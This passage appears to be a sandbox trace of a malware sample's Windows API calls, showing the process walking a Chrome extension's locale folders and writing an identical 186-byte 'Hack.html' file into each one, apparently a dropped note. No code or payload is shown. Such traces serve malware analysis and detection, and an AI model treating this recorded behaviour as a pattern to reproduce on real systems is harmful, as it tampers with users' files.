0 [0074.362] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.363] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\Hack.html", lpFilePart=0x0) returned 0x9a [0074.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.363] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_br\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.363] GetFileType (hFile=0x174) returned 0x1 [0074.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.363] GetFileType (hFile=0x174) returned 0x1 [0074.363] WriteFile (in: hFile=0x174, lpBuffer=0x27893c0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x27893c0*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.365] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT", lpFilePart=0x0) returned 0x90 [0074.365] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\", lpFilePart=0x0) returned 0x91 [0074.365] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.367] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.367] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.367] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.367] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.367] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT", lpFilePart=0x0) returned 0x90 [0074.367] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\", lpFilePart=0x0) returned 0x91 [0074.368] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.368] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.368] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\Hack.html", lpFilePart=0x0) returned 0x9a [0074.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.368] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_pt\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.369] GetFileType (hFile=0x174) returned 0x1 [0074.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.369] GetFileType (hFile=0x174) returned 0x1 [0074.369] WriteFile (in: hFile=0x174, lpBuffer=0x278eb50*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x278eb50*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.370] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro", lpFilePart=0x0) returned 0x8d [0074.370] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\", lpFilePart=0x0) returned 0x8e [0074.370] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.371] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.371] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro", lpFilePart=0x0) returned 0x8d [0074.371] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\", lpFilePart=0x0) returned 0x8e [0074.371] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.371] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.372] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.372] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.372] GetFileType (hFile=0x174) returned 0x1 [0074.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.372] GetFileType (hFile=0x174) returned 0x1 [0074.372] WriteFile (in: hFile=0x174, lpBuffer=0x2794200*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x2794200*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.373] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru", lpFilePart=0x0) returned 0x8d [0074.374] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\", lpFilePart=0x0) returned 0x8e [0074.374] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.375] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.376] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru", lpFilePart=0x0) returned 0x8d [0074.376] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\", lpFilePart=0x0) returned 0x8e [0074.376] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.376] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.376] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.376] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.377] GetFileType (hFile=0x174) returned 0x1 [0074.377] GetFileType (hFile=0x174) returned 0x1 [0074.377] WriteFile (in: hFile=0x174, lpBuffer=0x27998b0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x27998b0*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.378] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk", lpFilePart=0x0) returned 0x8d [0074.378] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\", lpFilePart=0x0) returned 0x8e [0074.378] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.379] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk", lpFilePart=0x0) returned 0x8d [0074.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\", lpFilePart=0x0) returned 0x8e [0074.379] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.379] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.379] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.380] GetFileType (hFile=0x174) returned 0x1 [0074.380] GetFileType (hFile=0x174) returned 0x1 [0074.380] WriteFile (in: hFile=0x174, lpBuffer=0x279ef60*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x279ef60*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.381] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl", lpFilePart=0x0) returned 0x8d [0074.381] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\", lpFilePart=0x0) returned 0x8e [0074.382] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.383] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl", lpFilePart=0x0) returned 0x8d [0074.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\", lpFilePart=0x0) returned 0x8e [0074.383] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.383] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.383] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.384] GetFileType (hFile=0x174) returned 0x1 [0074.384] GetFileType (hFile=0x174) returned 0x1 [0074.384] WriteFile (in: hFile=0x174, lpBuffer=0x27a4610*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x27a4610*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.385] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 